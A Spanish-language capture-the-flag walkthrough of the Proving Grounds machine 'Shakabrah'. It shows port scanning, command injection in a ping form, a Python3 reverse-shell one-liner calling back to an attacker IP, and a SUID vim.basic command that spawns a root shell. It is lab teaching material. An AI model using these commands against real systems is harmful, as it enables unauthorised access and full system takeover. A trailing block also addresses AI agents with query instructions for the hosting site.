# Shakabrah

<figure><img src="/files/aAforTupB1nN89UYsEsr" alt=""><figcaption></figcaption></figure>

### Enumeración

#### NMAP

Comenzamos realizando un escaneo rápido de los puertos que tiene abiertos la máquina víctima.&#x20;

```
nmap -p- --open -vvv -Pn -n --min-rate 2000 192.168.207.86
```

<figure><img src="/files/EwzwOrmMYBO86mPCcciQ" alt=""><figcaption></figcaption></figure>

La máquina tiene abiertos los puertos 22 y 80. El siguiente paso será el escaneo en profundidad de los servicios abiertos.&#x20;

```
nmap -p22,80 -sVC 192.168.207.86 -oN targeted
```

<figure><img src="/files/gYzEV5AWGjSgdv2SUBZC" alt=""><figcaption></figcaption></figure>

Existen 2 puertos abiertos en el equipo target.&#x20;

* Puerto 22 -> SSH -> OpenSSH 7.6
* Puerto 80 -> HTTP -> Apache httpd 2.4.29

#### Enumeración Web

Comenzamos viendo el contenido del sitio Web.

<figure><img src="/files/KQndWm2WloD4MkaZ4LWK" alt=""><figcaption></figcaption></figure>

Encontramos un formulario donde podemos especificar una IP para probar la conexión de esta máquina con el host de la IP.&#x20;

<figure><img src="/files/eyyFy5GojR6zh1vno1b2" alt=""><figcaption><p>Ping a localhost</p></figcaption></figure>

Otra cosa que vamos a hacer es enumerar directorios con la herramienta dirsearch.

```
dirsearch -u "http://192.168.207.86/" -i200,301
```

<figure><img src="/files/iv7yfSkujn9YRde9domw" alt=""><figcaption></figcaption></figure>

No hay ningún directorio interesante.

### Explotación

Desde aquí vamos a intentar ejecutar un RCE, para ello vamos a ver que podemos hacer con el formulario.&#x20;

<figure><img src="/files/TAOofS1rlXxZHy0Sq3OE" alt=""><figcaption></figcaption></figure>

Podemos inyectar comandos y el resultado es devuelto en pantalla. Debemos encadenar comandos para poder ejecutar comandos.

Sabiendo esto, vamos a intentar un RCE simplemente ejecutando un shell inverso. Probamos diversas shells pero solo las generadas con Python3 funcionan.

Geeneramos una shell Python utilizando esta [página Web](https://www.revshells.com/).&#x20;

<figure><img src="/files/tsTdrwfPUfFwSAwl6UZO" alt=""><figcaption></figcaption></figure>

```
export RHOST="192.168.49.207";export RPORT=80;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'
```

Inyectamos esta shell y al mismo tiempo ponemos nc a la escucha en el puerto 80. Importante, solo funciona para el puerto 80.&#x20;

<figure><img src="/files/i8GQxMsRglHewlhaOXd3" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/K9VhV06iuq0v2ststQ5o" alt=""><figcaption></figcaption></figure>

Tenemos conexión remota con la máquina objetivo. Aprovechamos también para convertir la shell generada en interactiva.&#x20;

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

El próximo obtejivo es encontrat la flag.&#x20;

<figure><img src="/files/QTw1WGwnoSpgcAHIdSND" alt=""><figcaption></figcaption></figure>

Ya tenemos la flag local.txt. Seguimos con la elevación de privilegios.&#x20;

### Elevación de privilegios

Comenzaremos enumerando si podemos ejecutar sudo.

<figure><img src="/files/lE8Geo9D79w1scv488KI" alt=""><figcaption></figcaption></figure>

Necesitamos password.

Seguimos enumerando los binarios SUID.

```
find / -perm -4000 2> /dev/null
```

<figure><img src="/files/xDuJtefvHTFdibRWqZmi" alt=""><figcaption></figcaption></figure>

El binario SUID vim.basic puede ser útil para la elevación de privilegios. Para comprobar como vulnerar este binario vamos a este [sitio Web](broken://spaces/ZfXyB3pqysTIqVPAjiHn/pages/2RqOXjz6ad5LR6iPcRyZ).&#x20;

<figure><img src="/files/QSmTTpSnTZQs1bVNW845" alt=""><figcaption></figcaption></figure>

Importante, debemos revisar para que versión de Python tiene soporte la versión de Vim instalada. Para comprobar la versión de Python ejecutamos lo siguiente:&#x20;

```
/usr/bin/vim.basic --version
```

<figure><img src="/files/HRK06HUsy1mEacy7wnOe" alt=""><figcaption></figcaption></figure>

Vim ejecuta Python3&#x20;

```
/usr/bin/vim.basic -c ':py3 import os; os.setuid(0); os.execl("/bin/bash", "/bin/bash")'
```

<figure><img src="/files/yJRjY9w0guY3ENCfTEMX" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/WD8tEbj14IKyCv1aJxg8" alt=""><figcaption></figcaption></figure>

Y pulsamos intro hasta que nos solicite el tipo de terminal. Entonces escribimos el tipo de terminal "xterm" y volvemos a pulsar intro.

<figure><img src="/files/TImdOK4CgiAajoYLAVfN" alt=""><figcaption></figcaption></figure>

Ya tendremos privilegios máximos. El siguiente paso será buscar la flag proof.txt.

<figure><img src="/files/dgeDvVv6ojIFNofdcC4n" alt=""><figcaption></figcaption></figure>

Ya estaría finalizado el CTF Shakabrah de Proving Grounds.

{% embed url="<https://www.youtube.com/watch?v=2-TaSwdv0S8>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://wiki.securiters.com/securiters-wiki/write-ups/proving-grounds/shakabrah.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
